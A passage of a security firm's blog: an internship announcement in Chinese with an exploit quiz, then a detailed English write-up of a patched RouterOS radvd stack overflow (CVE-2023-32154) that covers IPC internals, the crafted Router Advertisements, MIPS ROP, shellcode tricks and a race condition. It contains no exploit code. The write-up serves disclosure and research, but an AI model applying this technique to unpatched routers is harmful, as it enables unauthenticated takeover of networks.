從 Pwn2Own Austin 2021 到 Pwn2Own Toronto 2022 的結果看下來,印表機安全依舊是容易被忽略的,短短一年間,能打下印表機的隊伍也大幅增加,甚至到第三年 Pwn2Own Toronto 2023也還是被許多隊伍找到漏洞,最後也建議大家如果有使用到這些 IoT 設備,盡量把不必要的服務關閉並且設好防火牆及做好權限控管,以減少被攻擊的可能。

DEVCORE 2024 第五屆實習生計畫

$
0
0

DEVCORE 創立迄今已逾十年,持續專注於提供主動式資安服務,並致力尋找各種安全風險及漏洞,讓世界變得更安全。為了持續尋找更多擁有相同理念的資安新銳、協助學生建構正確資安意識及技能,我們成立了「戴夫寇爾全國資訊安全獎學金」,2022 年初也開始舉辦首屆實習生計畫,目前為止成果頗豐、超乎預期,第四屆實習生計畫也將於今年 1 月底告一段落。我們很榮幸地宣佈,第五屆實習生計畫即將登場,若您期待加入我們、精進資安技能,煩請詳閱下列資訊後來信報名!

實習內容

本次實習分為 Binary 及 Web 兩個組別,主要內容如下:

  • Binary 以研究為主,在與導師確定研究標的後,分析目標架構、進行逆向工程或程式碼審查。藉由這個過程訓練自己的思路,找出可能的攻擊面與潛在的弱點。另外也會讓大家嘗試分析及寫過往漏洞的 Exploit,理解過去漏洞都出現在哪,體驗真實世界的漏洞都是如何利用。
    • 漏洞挖掘及研究 70 %
    • 1-day 開發 (Exploitation) 30 %
  • Web 導師會與學生討論並確定一個以學生的期望為主的實習目標,並在過程輔導成長以完成目標,內容可以是深入研究近年常見新型態漏洞、攻擊手法、開源軟體,或是程式語言生態系的常見弱點,亦或是展現你的技術力以開發與紅隊相關的工具。
    • 漏洞、攻擊手法或開發工具研究 90%
    • 成果報告與準備 10%

公司地點

台北市松山區八德路三段 32 號 13 樓

實習時間

  • 2024 年 3 月開始到 2024 年 7 月底,共 5 個月。
  • 每週工作兩天,工作時間為 10:00 – 18:00
    • 每週固定一天下午 14:00 - 18:00 必須到公司討論進度
      • 如果居住雙北外可彈性調整(但須每個組別統一)
    • 其餘時間皆為遠端作業

招募對象

具有一定程度資安背景的學生,且可每週工作兩天。

預計招收名額

  • Binary 組:2~3 人
  • Web 組:2~3 人

薪資待遇

每月新台幣 16,000 元

招募條件資格與流程

實習條件要求

Binary

  • 基本逆向工程及除錯能力
    • 能看懂組合語言並瞭解基本 Debugger 使用技巧
  • 基本漏洞利用能力
    • 須知道 Stack overflow、ROP 等相關利用技巧
  • 基本 Scripting Language 開發能力
    • Python、Ruby
  • 具備分析大型 Open Source 專案能力
    • 以 C/C++ 為主
  • 具備基礎作業系統知識
    • 例如知道 Virtual Address 與 Physical Address 的概念
  • Code Auditing
    • 知道怎樣寫的程式碼會有問題
      • Buffer Overflow
      • Use After free
      • Race Condition
  • 具備研究熱誠,習慣了解技術本質
  • 加分但非必要條件
    • CTF 比賽經驗
    • pwnable.tw 成績
    • 樂於分享技術
      • 有公開的技術 blog/slide、Write-ups 或是演講
    • 精通 IDA Pro 或 Ghidra
    • 有寫過 1-day 利用程式
    • 具備下列其中之一經驗
      • Kernel Exploit
      • Windows Exploit
      • Browser Exploit
      • Bug Bounty

Web

  • 熟悉 OWASP Web Top 10。
  • 理解 PortSwigger Web Security Academy 中所有的安全議題或已完成所有 Lab。
    • 參考連結:https://portswigger.net/web-security/all-materials
  • 理解計算機網路的基本概念。
  • 熟悉 Command Line 操作,包含 Unix-like 和 Windows 作業系統的常見或內建系統指令工具。
  • 熟悉任一種網頁程式語言(如:PHP、ASP.NET、JSP),具備可以建立完整網頁服務的能力。
  • 熟悉任一種 Scripting Language(如:Shell Script、Python、Ruby),並能使用腳本輔以研究。
  • 具備除錯能力,能善用 Debugger 追蹤程式流程、能重現並收斂問題。
  • 具備可以建置、設定常見網頁伺服器(如:Nginx、Apache)及作業系統(如:Linux)的能力。
  • 具備追根究柢的精神。
  • 加分但非必要條件
    • 曾經獨立挖掘過 0-day 漏洞。
    • 曾經獨立分析過已知漏洞並能撰寫 1-day exploit。
    • 曾經於 CTF 比賽中擔任出題者並建置過題目。
    • 擁有 OSCP 證照或同等能力之證照。

應徵流程

本次甄選一共分為二個階段:

第一階段:書面審查

第一階段為書面審查,會需要審查下列兩個項目

  • 履歷內容
  • 簡答題答案
    • 題目 1:請提出三個,你印象最深刻或感到有趣、於西元 2021 ~ 2023 年間公開的真實漏洞或攻擊鏈案例,並依自己的理解簡述說明各個漏洞的成因、利用條件和可以造成的影響。
    • 題目 2:實習期間想要研究的主題,請提出三個可能選擇的明確主題,並簡單說明提出的理由或想完成的內容,例如:
      • 研究◯◯開源軟體,找到可 RCE 的重大風險弱點。
      • 研究 AD CS 的攻擊手法,嘗試挖掘新的攻擊可能性或向量。
      • 研究常見的路由器,目標包括:AA-123 路由器、BB-456 無線路由器。
    • 題目 3(應徵 Binary 組需回答):該程式為一個 Local Server,可透過瀏覽網頁與之互動,該 Server 跑在 Windows 11 的電腦上。
      • 請分析上述所提供的 Server,並利用其中的功能,讓使用者瀏覽網頁後,可直接在 Windows 11 上跳出 calc.exe,另外也請盡量滿足下列條件
        • 不可跳任何警告視窗。
        • 使用者只要瀏覽網頁即可觸發不會有額外操作。
        • 瀏覽器限制為 Chrome 或是 MS Edge
      • 請務必寫下解題過程,並交 write-up,請盡你所能來解題,即使最後沒有成功,也請寫下您所嘗試過的方法及思路,本測驗將會以 write-up 為主要依據。

本階段收件截止時間為 2024/01/28 23:59,我們會根據您的履歷及題目所回答的內容來決定是否有通過第一階段,我們會在 10 個工作天內回覆。

第二階段:面試

此階段為 30~120 分鐘(依照組別需求而定,會另行通知)的面試,會有 2~3 位資深夥伴參與,評估您是否具備本次實習所需的技術能力與人格特質。

時間軸

  • 2024/01/05 - 2024/01/28 公開招募,書審截止
  • 2024/01/29 - 2024/02/22 面試
  • 2024/02/26 前回應結果,早面試會早收到結果
  • 2024/03/04 第五屆實習計畫於當週開始

報名方式

  • 請將您的履歷題目答案以 PDF 格式寄到 recruiting_intern@devco.re
    • 履歷格式請參考範例示意(DOCXPAGESPDF)並轉成 PDF。若您有自信,也可以自由發揮最能呈現您能力的履歷。
    • 請於 2024/01/28 23:59前寄出(如果名額已滿則視情況提早結束)
  • 信件標題格式:[應徵] 職位 您的姓名(範例:[應徵] Web 組實習生 王小美)
  • 履歷內容請務必控制在三頁以內,至少需包含以下內容:
    • 基本資料
    • 學歷
    • 實習經歷
    • 社群活動經歷
    • 特殊事蹟
    • 過去對於資安的相關研究
    • MBTI 職業性格測試結果(測試網頁

若有應徵相關問題,請一律使用 Email 聯繫,如造成您的不便請見諒,我們感謝您的來信,並期待您的加入!

Pwn2Own Toronto 2022 : A 9-year-old bug in MikroTik RouterOS

$
0
0

English Version, 中文版本

TL;DR

DEVCORE research team found a 9-year-old WAN bug on RouterOS, the product of MikroTik. Combined with another bug of the Canon printer, DEVCORE becomes the first team ever to successfully complete an attack chain in the brand new SOHO Smashup category of Pwn2Own. And DEVCORE also won the title of Master of Pwn in Pwn2Own Toronto 2022.

The vulnerability occurs in the radvd of RouterOS, which does not check the length of the RDNSS field when processing ICMPv6 packets for IPv6 SLAAC. As a result, an attacker can trigger the buffer overflow by sending two crafted Router Advertisement packets, that allows an attacker to gain full control over the underlying Linux system of the router without logging in and without user interaction. This vulnerability was assigned as CVE-2023-32154 with a CVSS score of 7.5.

The vulnerability was reported to MikroTik by ZDI on 2022/12/29 and patched on 2023/05/19. It has been patched in the following RouterOS releases:

  • Long-term Release 6.48.7
  • Stable Release 6.49.8
  • Stable Release 7.10
  • Testing Release 7.10rc6

Pwn2Own SOHO Smashup

Pwn2Own is a series of contests organized by The Trend Micro Zero Day Initiative (ZDI). They pick popular products as targets for different categories, such as: operating systems, browsers, electric cars, industrial control systems, routers, printers, smart speakers, smartphones, NAS, webcams, etc.

As long as the participants can exploit a target without user interaction while the device is in its default state and the software is updated to the latest version, the team will receive the corresponding Master of Pwn points and bounty. And the team which has the highest Master of Pwn points will be the winner, who is also known as the “Master of Pwn.”

Due to the epidemic, Work From Home or SOHO (Small Office/Home Office) has become very common. Consider that, the Pwn2Own Toronto 2022 has a special category called SOHO Smashup, in which participants need to hack routers from the WAN side, and then use the router as a trampoline to attack common household devices in LAN, such as smart speakers, printers, etc.

In addition to the second highest prize of $100,000 (USD), the SOHO Smashup also has the highest score of 10, so if you’re aiming to win, you’ll want to complete this category! We’ve also chosen the lesser-explored MikroTik’s RouterBoard as the target to avoid bug collisions with others (both the bounty and score are halved when you have a collision with someone else).

RouterOS

The RouterOS is based on the Linux kernel and it’s also the default operating system of MikroTik’s RouterBoard. It can also be installed on a PC to turn it into a router.

Though the RouterOS do use some GPL-License software, according to the downloadterms page from MikroTik’s website, you have to pay $45 to MikroTik for sending a CD with GPL source, very interesting.

Glad that there is already a nice guy who uploaded the GPL source on the Github, though they didn’t help much on reversing the RouterOS.

RouterOS v7 and RouterOS v6

There are two versions of RouterOS on the download page of MikroTik’s website: RouterOS v7 and RouterOS v6. They are more like two branches of the RouterOS and share a similar design pattern. Because the default installed version of our target, RB2011UiAS-IN, is RouterOS v6, we focus on that version.

RouterOS does not provide a formal way for users to manipulate the underlying Linux system, and users are trapped in a restricted console with a limited number of commands to manage the router, so there has been a lot of research on how to jailbreak RouterOS.

The binary on the RouterOS uses a customized IPC to communicate with each other, and the IPC uses the “nova message” format to pack messages. So we call such kinds of binary “nova binary” afterward.

Besides, the RouterOS has a special attack surface. The user can manage a RouterOS device remotely from a Windows computer with a GUI tool, WinBox, by sending a nova message through the TCP. So, if the RouterOS fails to validate the privilege of a nova message, the attacker can possibly invade the router by sending a crafted nova message from remote, but it’s not a top priority because the WinBox is unavailable from WAN by default.

We started by reviewing the CVEs in the past few years. There were 80 CVEs related to RouterOS at that time, of which 28 targeted the router itself in pre-auth scenarios.

4 out of the 28 CVEs are in scenarios that are more in line with the Pwn2Own rules, which means these vulnerabilities could allow an attacker to spawn a shell on the router or log in as admin without user interaction. Three of the vulnerabilities were discovered between 2017 and 2019, and three of these were discovered “in the wild.” These four vulnerabilities are:

  • CVE-2017-20149: Also known as Chimay-Red, this is one of the leaked vulnerabilities from the CIA’s “Vault 7” in 2017. The vulnerability occurs when RouterOS parses HTTP requests, and if the Content-Length in the HTTP headers is negative, it will cause Integer Underflow, which together with the Stack Clash attack technique can control the program flow to achieve RCE.
  • CVE-2018-7445: A buffer overflow in the SMB service of RouterOS, which found by black-box fuzzing and is the only one of the four vulnerabilities that was reported by the discoverer. Though the SMB is not enabled defaultly.
  • CVE-2018-14847: Also the one of the leaked vulnerabilities from the “Vault 7”, which could allow an attacker to achieve arbitrary file read. Which doesn’t sound like a big problem, but because in the earlier version of RouterOS, the user’s password was stored in a file as password xor md5(username + "283i4jfkai3389"), the attacker can calculate the password of admin as long as the attacker can read the file.
  • CVE-2021-41987:A heap buffer overflow vulnerability in the base64 decoding process of the SCEP service due to a length miscalculation. The vulnerability was discovered after security researchers analyzed an APT’s exploit on its C2 server.

As we can see, most of these vulnerabilities are “in the wild.” We can only learn limited knowledge about analyzing and reversing the RouterOS.

We continue to seek out publicly available research materials, and we have these articles and presentations available at the time of the competition:

Review of the IPC and the Nova Message

Most of the research centers around RouterOS’s homebrew IPC, so we also took some time to review it. Here is a simple example to explain the main idea of the IPC.

Normally, a user can log in to the RouterOS through telnet, and manage the router by console.

Let’s follow the procedure step by step:

  1. When the user tries to access the console of RouterOS through the telnet. The telnet process will spawn the login process by execl, which asks the user for account and password.
  2. After getting the account and password, the login would pack that info into a nova message, and send it to the user process for authentication.
  3. The user process returns the result by sending back a nova message
  4. If the login succeeds, the console process is spawned, and the user interaction with the console is actually proxied through the login process.

IPC

The above example simply describes the basic concept of IPC, but the communication between the two processes is actually more complex.

Every nova message would be sent to the loader process through the socket first, then the loader dispatches each nova message to the corresponding nova binary.

Suppose the id of the login process is 1039, the id of the user process is 13, and the handler with id 4 in the user process is responsible for verifying the account and password.

Firstly, the login process sends a request with an account and password to the user process, so the SYS_TO in nova message is an array with two elements 13, 4, which means that the message should be sent to the handler with id 4 in the process with binary id 13.

When loader receives the message, it will remove the 13 in SYS_TO of the message which represents the target binary id, and add the source binary id in SYS_FROM, which is 1039, and then send the message to the user process.

The user process does a similar thing when it receives a message: removing the 4 from SYS_TO that represents the target handler id and sending the nova message to handler 4 for processing.

Nova Message

The nova message used in IPC is initialized and set by nv::message and related functions. Nova message is composed of typed key-value pairs, and the key can only be an integer, so keys such as SYS_TO and SYS_FROM are just simple macros.

The types that can be used in a nova message include u32, u64, bool, string, bytes, IP and nova message (i.e. you can create a nested nova message).

Because the RouterOS doesn’t use nova messages in JSON anymore, we only focus on the binary format of it.

During IPC communication, the receiver’s socket receives an integer that expresses the length of the current nova message, followed by the nova message in binary format.

The nova message starts with two magic bytes: M2. Next, each key is described by 4 bytes; the first 3 bytes are used to express the id of the key, and the last byte is the type of the key. Depending on the type, the next bytes will be parsed differently as data, and the next key will come after data, and so on. A special feature is that a bool can be represented by only one bit, so the lowest bit of the type is used to represent True/False. For a more detailed format, see Ian Dupont, Harrison Green. Pulling MikroTik into the Limelight

The x3 format

In order to understand which nova binary the ids in the SYS_TO and the SYS_FROM in the nova message refer to, we need to parse a file with the extension x3, which is an xml in binary format. By parsing the /nova/etc/loader/system.x3 with the tool, we can map which nova binary each id corresponds to.

The id of some binaries are absent in this file, because some of them have been made available by installing an official RouterOS package. In which case the binary’s id will exist in the /ram/pckg/<package_name>/nova/etc/loader/<package_name>.x3. The radvd is an example.

However, there are still some id of binaries that cannot be found in any .x3 files because these types of processes are not persistent, e.g., the login process, which is only spawned when the user tries to log in and uses a serial number as its id.

The .x3 file is also used to record nova binary related settings, e.g. www specifies in .x3 which servlet should be used for each URI.

Summary

After reviewing the research and CVEs from the past, we can see that most vulnerabilities we are interested in have been concentrated in the past, and it seems to be difficult to find pre-auth vulnerabilities on the WAN side of RouterOS nowadays.

While vulnerabilities continue to be revealed, the RouterOS is becoming more and more secure. Is it true that there are no more pre-auth vulnerabilities on the RouterOS? Or maybe it’s just that everyone is missing something?

Most of the public research mentioned earlier falls into the following three categories:

  • Jailbreaking
  • The analysis of the exploits in the wild
  • The nova message in the IPC

However, after reversing the binary on RouterOS for a while, we realized that the complexity of the whole system was more than that, but no one mentioned the details. This led to the following thought: “No one with sanity would like to dive into the details of nova binary”.

Aside from the exploits leaked from the CIA and APT, most of the research about finding vulnerabilities in RouterOS are: fuzzing network protocols, playing with nova messages, or performing fuzzing tests on nova messages.

By the outcome, it seems that attackers understand the RouterOS much better than we do, and we need to explore more details about the nova binary to fill in the gaps and increase the possibility to find the vulnerabilities we are looking for. Don’t get me wrong. I don’t against fuzzing. But we must ensure we check everything essential to take advantage of the contest.

Where to begin

We don’t think the RouterOS is flawless, there is a gap between researchers’ and attackers’ understanding of RouterOS. So, what are we missing to find pre-auth RCE on RouterOS?

The first question that comes to mind is “where is the entry point of IPC and where does it lead?” Because most of the functionality triggered by IPC requires login, it is to be expected that sticking to IPC will only lead to more findings in post-auth. IPC is just one part of the main functionality implemented on RouterOS, and we would like to look at the core code of each functionality directly and carefully.

For example, how do the process that deal with DHCP extract the info needed in a DHCP packet? This information may be stored directly in the process, or may need to be sent to other processes via IPC for further processing.

The Architecture of Nova Binary

Hence, we must first understand the architecture of the nova binary. Each nova binary has an instance of the Looper class (or a derivative of it: MultifiberLooper), which is a class for event loop logic. In each iteration, it calls runTimer to execute the timer that is expired, and use poll to check the status of the sockets then process them accordingly.

Looper is responsible for the communication between its nova binary and the loader. Looper first registers a special callback function: onMsgSock, which is responsible for dispatching the nova message received from the socket to the corresponding handler in the nova binary.

The Handler class and its derivatives

When a looper receives a nova message, it will dispatch it to the corresponding handler, e.g., a message with SYS_TO of [14, 0] will be dispatched by the loader to a nova binary with a binary id of 14. By the time the looper in the binary with a binary id of 14 receives it, SYS_TO has [0] left, so the looper will dispatch it to handler 0 for processing. If the SYS_TO in the initial nova message is [14], then the looper receives it with SYS_TO as [], and the looper handles this message on its own.

Now let’s assume that the Looper receives a nova message that should be handled by handler 1 and dispatches it to handler 1. At this point, handler 1 calls the methods nv::Handler::handleCmd in the vtable of the handler class, which looks for the corresponding function to execute in the vtable based on the SYS_CMD specified in the nova message.

The cmdUnknown in the vtable is often overridden to extend the functionality, but sometimes the developer overrides handleCmd instead, depending on the developer’s mood. The handler class is a base class, so commands related to objects are not implemented.

Derived class

However, the basic handler class is not the most used one in nova binaries, but rather a derivative of it. Derived classes can be used to store multiple objects of a single type, similar to C++ STL containers.

For example, when a user creates a DHCP server through the web panel, a nova message with the command “add object” is sent to handler 0 of the dhcp process, which then creates a dhcp server object. And the object will be stored in a tree of handler 0.

The handler 0 here is an instance of AMap, AMap is a derived class of Handler. Since the command is “add object”, it triggers the member function AMap::cmdAddObj, which calls a function at offset 0x7c in handler 0’s vtable. And that function is actually the constructor of the object contained in AMap. For example, if the developer defines handler 0 to be of type AMap<string>, then the function at offset 0x7c is the constructor of the string.

The offset of the constructor of the inner object in the vtable is different for each derived class, and locating the constructor to determine what type of objects are contained in the derived class can be done by reversing their individual cmdAddObj function.

IPC, and something other than IPC

Some of the functions in RouterOS are not driven by IPC. Take the two layer 2 discovery protocols, CDP and LLDP, implemented in the discover program as an example.

  1. When starting the two services, handler 0 will be responsible for calling nv::createPacketReceiver to open the sockets and register the callback functions for CDP and LLDP.
  2. In each iteration of the Looper, call poll to check if the sockets of CDP and LLDP have received any packets.
  3. If packets are received, the corresponding callback function will be called to handle the packets.

What CDP’s callback does is very simple: it makes sure that the interface that received the packet is allowed, and if it is, it parses the packet and stores the information directly into the nv::ASecMap instead of using a nova message, and then returns.

It follows that IPC has no ability to trigger any function of CDP or LLDP other than to turn on CDP or LLDP services (which are turned on by default), so it is likely that previous research focused on IPC has not tested the program logic of such implementation.

The Story of Pre-Auth RCE

With the knowledge of RouterOS, a surprising accident led us to a long hidden vulnerability.

One day, when we plugged and unplugged the network cable as usual for reversing and debugging on RouterOS, we found that the log file recorded that the program radvd had crashed several times! So we tried plugging and unplugging the cable to manually reproduce the crash so that we could use the debugger to locate the problem, but after thousands of plugs and unplugs, we still couldn’t determine the conditions under which the crash was occurring, and it appeared to be just a random crash.

After a period of trial and error, we tried to find out where the crash occurred by static reversing the radvd rather than blindly trying. Though we still couldn’t find the root cause of the crash in the end, we found another vulnerability in radvd after reviewing the core logic in binary with the benefit of our understanding of the nova binary.

Before describing this vulnerability, let’s first explain what the radvd process does.

SLAAC (Stateless Address Auto-Configuration )

In short, the radvd is a service that handles SLAAC for IPv6.

In a SLAAC environment, suppose a computer wants to get an IPv6 address to access the Internet, it will first broadcast an RS (Router Solicitation) request to all routers. After the router receives the RS, it will broadcast the network prefix through RA (Router Advertisement); computers receiving the RA can take the network prefix then combine it with the EUI-64 to decide what IPv6 address they’re going to use for connecting to the Internet.

If an ISP or network administrator wants to assign a network segment to a user, so that the user can assign the address to the user-managed machines. How to assign a segment to the user when only using SLAAC without DHCP? Because SLAAC does not have a way to delegate directly, this is how it usually works:

Suppose there is an upstream router: Router A, which belongs to an ISP or a network administrator, a user-managed Router B, and a user-managed computer. The ISP or the network administrator will notify the user via email in advance about a /48 network prefix assigned to the user, which is 2001:db8::/48 in this case. Users can set it on Router B, then when the computer sends RS to Router B, Router B will put this prefix into RA for return, this prefix is called routed prefix.

In order to make Router B be able to communicate with Router A, it also needs to get network prefix from Router A for an IPv6 address of its own. And the network prefix that Router B gets from Router A is called a link prefix.

The execution flow of the radvd

  1. When the radvd process is started, the socket used by radvd is opened by nv::ThinRunner::addSocket and the corresponding callback function is registered.
  2. In each iteration of the Looper in radavd, the socket is checked by calling the poll to see if it has received any packets.

  3. If any packets are received, the corresponding callback function will be called to process the packets.

In the callback function of rardvd, it will first check if the packet is a legitimate RA or RS, if it’s RA, store the information, if it’s RS, start broadcasting RA in LAN.

There are total three cases in which the RouterOS broadcasts the network prefix:

  1. Received RS from LAN
  2. Received RA from WAN
  3. Timed broadcast of RA packets on LAN (default random broadcast after 200~600 seconds)

But we didn’t find the code that’s responsible for case 2 in the callback function by statically reversing. At that time we were not sure why, it is actually related to the subscription mechanism in the RouterOS IPC, which we will explain in a later chapter. However, there are two other cases that we can find out directly through static analysis.

In case 1, when an RS is received from the LAN, radvd will call sendRA to broadcast the RA packet:

In case 2, handler 1 will register a timer, RAroutine, after initialization:

The RAroutine is used to call sendRA at regular intervals to broadcast packets:

CVE-2023-32154

After digging deeper into sendRA, we found that radvd has a vulnerability in handling DNS advisory. First, radvd will store the DNS advisory from the RA received from the upstream router (the data structure is a tree), and when it wants to broadcast the RA to the LAN, these DNS will also be wrapped in the RA and broadcast to the LAN.

In radvd, it is the addDNS function that expands the tree and puts it into the ICMPv6 packet. In the following figure, the first parameter of addDNS, RA_raw, is a buffer of 4096 bytes, which is the final ICMPv6 packet.

Stepping into the addDNS, we can immediately see that there may be a stack buffer overflow here. The addDNS puts DNS into ICMPv6 packets via memcpy without any boundary check, and as long as the DNS advisory is big enough, it can trigger a stack buffer overflow.

The DNS records used here come from the RDNSS field in the RA packet, but according to the RFC, we can find that the field used to describe the length of RDNSS is only 8-bit. It can cover only 255*16 bytes at most, and this length is insufficient for us to overwrite the return address.

But if this is not the first time the radvd received RA, radvd needs to mark the old DNS as expired in the next packet, so we can actually cover twice the length, which is 255*16*2 bytes. That is enough for us to overwrite the return address.

Attacking

Now, the attacker only needs to send two crafted RA packets with RDNSS field length of 255 to the target RouterOS, and the attacker can control the execution flow of the radvd program through the IPv6 address in the RDNSS.

The Protection of Binaries

Since the architecture of target RouterOS is MIPS architecture, the CPU doesn’t support NX, but other protections are also not enabled.

So it’s just a matter of finding a good ROP gadget and letting the execution flow eventually jump to the shellcode we place on the stack, easy peasy lemon squeezy.

The Constraint of Shellcode

However, there are actually quite a number of limitations in the process of constructing an exploit, for example, since IPv6 addresses are stored in a tree structure, they are sorted before being placed on the stack, so we need to make sure that the payload we build remains the same after sorting.

The simplest way to do this is to make the IPv6 prefix to be a serial number, which ensures that the contents of our payload are in order, and that we can accurately jump to the shellcode through the ROP gadget. When writing the shellcode, we just need to construct the suffix of each address as a jump, so that we can skip the non-executable serial number.

However, due to the delay slot in MIPS, the CPU will actually execute the next instruction of the jump instruction first.

So we have to move the jump forward, but since we can’t use the syscall command in the delay slot, the payload will be a pain to construct, and may exceed the length we can use, which is basically a bad idea.

In fact, this is a common beginner level problem in CTF. All we need is to make the prefix of IPv6 address a legal instruction that does not affect the execution result. We change the prefix to addi s8, s0, 1, addi s8, s0, 2, addi s8, s0, 3…… and so on. In addition to the payloads being sorted, it also saves the space that would otherwise be used for jump instructions.

But since we didn’t leak the stack address, and since we can’t find any gadgets available to move the stack address from the $sp register to the $t9 register, what we’ve done here is to first write the jalr $sp instruction to memory via a ROP gadget, and then jump to it and execute it with a ROP gadget, which then directs the flow to the shellcode that we’ve constructed, and that sounds pretty good:

But this is not enough to run shellcode, because MIPS has two different cache for memory access.

Cache

MIPS has two caches: I-cache (instruction cache) and D-cache (data cache).

When we write the jslr $sp instruction to the memory, it’s actually written to D-cache.

When we control the execution flow to jump on the address of jslr $sp, the processor will first check whether the instruction at this address is in the I-cache or not, and since we jump to a data section, the cache will always miss it. And so, the contents of the memory will be loaded into the I-cache.

However, since the contents of the D-cache have not been written back to memory, I-cache will only copy a bunch of null bytes from memory, which is nop in MIPS, so the radvd only runs a bunch of nop until it crashes.

Here we need to make the processor write the contents of the D-cache back to memory, and there are two ways to do this: a context switch or exhausting the D-cache space (32 KB).

Triggering a context switch is easier, but there is no sleep in radvd that we can use to trigger a context switch, and while other functions can trap into the kernel, the chances of a context switch occurring are not very high. In order to compete for the Pwn2Own, it is necessary to have a consistent attack that is close to 100% successful. Therefore, we turned to find a way to exhaust the 32kb D-cache.

First , a simple check shows that the radomize_va_space variable of RouterOS is 1, which means that the memory address of the heap is not random, so we don’t need a leak to know where the heap is. We just need to find a way to make the heap allocate enough space, and then write some gibberish on it to deplete the 32kb D-cache.

However, since there are no good ROP gadgets, such a payload will need too many ROP gadgets, and eventually the payload length may exceed the length we can cover.

Luckily, as mentioned earlier, DNS itself is stored in a tree structure, so it already occupies a large chunk of memory in the heap. Through the step-by-step execution of gdb, we can make sure that by the time DNS is being processed, the heap is already bigger than 32kb, so we just need to call memcpy to write 32kb of gibberish to the heap through the GOT hijack and that’s it!

Finally, our exploit is complete:

Combined with another Canon printer vulnerability we found for Pwn2Own, the attack flow would be:

  1. The attacker, as a bad neighbor of the router, sends crafted ICMPv6 packets to it
  2. After successfully controlling the router, we perform port forwarding to direct the payload to the Canon printer on the LAN.

In a Pwn2Own environment, the network environment can be simplified a bit as follows:

Debugging for Exploit

Just when we thought we had the $100,000 prize in the pocket, something unexpected happened: our exploit failed on Ubuntu, whether it was a virtual machine in MacOS or an Ubuntu machine; and Pwn2Own officials, who basically used Ubuntu to execute our exploit, so we had to solve this problem.

We tried running the exploit on MacOS and recording the network traffic, then replaying the traffic on Ubuntu, and we can observe that the replay fails:

We also tried running the exploit on Ubuntu and recording the network traffic, of course it failed on Ubuntu. But when we replayed the failed traffic on MacOS, it succeeded:

Up to this point, we guessed that one of the OSes reordered the packets before sending them out, and that might have been done after Wireshark captured the packets. So we wrote a sniffer and put it on the router to monitor the traffic, and the result should be very reliable since AF_PACKET type of sockets are not affected by the firewall rules:

However, the packets recorded from both sides are exactly the same……

So, apparently I’m the bus factor now. Exploit has only worked on my macOS so far, and if the situation remains, the last resort would be to fly myself to Toronto with my Mac laptop and do the attack on site with my own laptop. But there’s no way we’re going to leave this problem of unknown cause unattended, who knows if it might happen to my laptop during the Pwn2Own as well, and that would be a real loss.

After a few careful reviews, we finally know the cause of the problem: speed. Since the time window between the two RA packets is not that big, it’s hard to tell from the Wireshark timeline, but if you do some math, you’ll see that the difference in time between the two packets is 390 times. So the problem is not with Ubuntu, it’s because the Mac sent the two packets too fast, and accidentally triggered the race condition in radvd (plus I didn’t properly calculate how many bytes it takes to overwrite the return address, I just wrote all the gibberish on it and did a pattern match. So the offset is only correct under the race condition).

The solution is to sleep for a while between sending two RA packets and fix the offset in the payload, which will stabilize our attack with a 100% chance of success.

Fix

This vulnerability has been fixed in the following releases:

  • Long-term Release 6.48.7
  • Stable Release 6.49.8, 7.10
  • Testing Release 7.10rc6

At the same time, we also found that this vulnerability has existed since RouterOS v6.0. From the official website can be found 6.0 release date is 2013-05-20, that is to say, this vulnerability has existed there nine years, but no one has found him.

Echoing our initial thought, “No one with sanity would like to dive into the details of nova binary”, Q.E.D.

The Race Condition

But how did this race condition that prevents us from easily earning $100,000 happen? As mentioned above, nova binary has a Looper that loops for dealing with events, i.e. it’s a single thread program, so what’s the race condition all about? (Some nova binary is multi-fiber, but radvd isn’t.)

I didn’t mention that when radvd parse the RA packets received from WAN, the DNS is stored in a “vector”, but when preparing the RA packets for broadcasting on LAN, addDNS expands a “tree” with DNS stored in it, so what is the relationship between this vector and the tree?

That’s why we didn’t find the logic “broadcasts RA packets to the LAN when it receives RA from the WAN” in the callback, because it’s the result of the interaction between the two processes.

If we take a closer look at what the callback does, we can see that there is an array that holds an object called the “remote object”. The code looks intuitive, it iterates over a vector of DNS addresses, calls nv::roDNS once for each DNS address, and saves the result of the function execution in the and saves the result of the function execution in the DNS_remoteObject vector.

Remote Object

So what is a remote object? Remote object is a mechanism used in RouterOS to share resources across processes, one process is responsible for storing this shared resource, then another process can send requests to the process responsible for storing it to make additions, deletions, and modifications by specifying the ids. For example, the DNS remote object is actually placed in handler 2 of the resolver process, while handler 1 of radvd simply keeps the ids of these objects.

Subscription and Notification

When a remote object is updated, some process may want to respond, so the nova binary can subscribe to other nova binary in advance. Take dhcp and ippool6 for example, handler 1 in ippool6 is responsible for managing the ipv6 address pool, the dhcp process subscribes to handler 1 in ippool6, so when there are changes in the ipv6 address pool, dhcp can check whether they need to be processed further, such as shutting down a dhcp server.

The subscription behavior is achieved by sending a nova message to the binary that wants to subscribe, with a SYS_NOTIFYCMD that contains the specific conditions that it wants to be notified about.

When another process adds an object to ippool6, handler 1’s cmdAddObj function will be executed.

In most cases, AddObj will call sendNotifies to notify subscribers who have subscribed to the 0xfe000b event that their subscribed objects have been altered, so ippool6 here sends a nova message to the dhcp process informing it of the result of the object being altered.

After understanding the subscription mechanism, we can more fully understand the interaction between radvd and the resolver as follows:

When radvd receives the RA packet from the WAN, it will call roDNS for each IPv6 address. Handler 4 in resolver handles this request and creates the corresponding ipv6 object in handler 2. Then, because handler 1 in radvd subscribes to handler 2 in resolver, handler 2 in resolver pushes all the DNS addresses that it has to radvd, then handler 1 constructs a RA packet based on the DNS address he received, and then broadcasts the packet on the LAN.

The Root Cause of Race Condition

The problem is actually in the implementation of roDNS, where roDNS uses postMessage to send a nova message. postMessage is non-blocking, meaning that the remote object in radvd doesn’t immediately know what id of a remote object corresponds to in the resolver.

If our second packet arrives too soon, so that radvd doesn’t know what the remote object’s id is, then radvd can’t delete these objects in the first place, it can only mark them as destroyed for soft deletion, which results in a race condition.

Let’s try to understand the whole process step by step:

First, since both processes are single thread, we can assume that radvd and resolver are in their first loop. The radvd receives an RA from the WAN with only one DNS address, and radvd sends a request for creating a remote object to the resolver.

At the same time, resolver will set a timer when it receives the first request, because in the IPC mechanism, resolver has no way of knowing how many AddObj requests belong to the same group, so it simply sets a timer , and sends out a notification when the time is up. The resolver should reply with a nova message as a response, informing radvd of the id of the remote object that has just been added, and radvd will register a corresponding ResponseHandler to handle this request.

However, if the second RA packet is delivered so fast that the resolver hasn’t sent the response back yet, radvd can only mark the old DNS remote object as destroyed for soft deletion first.

Then radvd proceeds to create a new DNS remote object for the RDNSS field in the second RA packet received, but since the resolver hasn’t finished the first iteration yet, this new request stays in the socket until the next iteration.

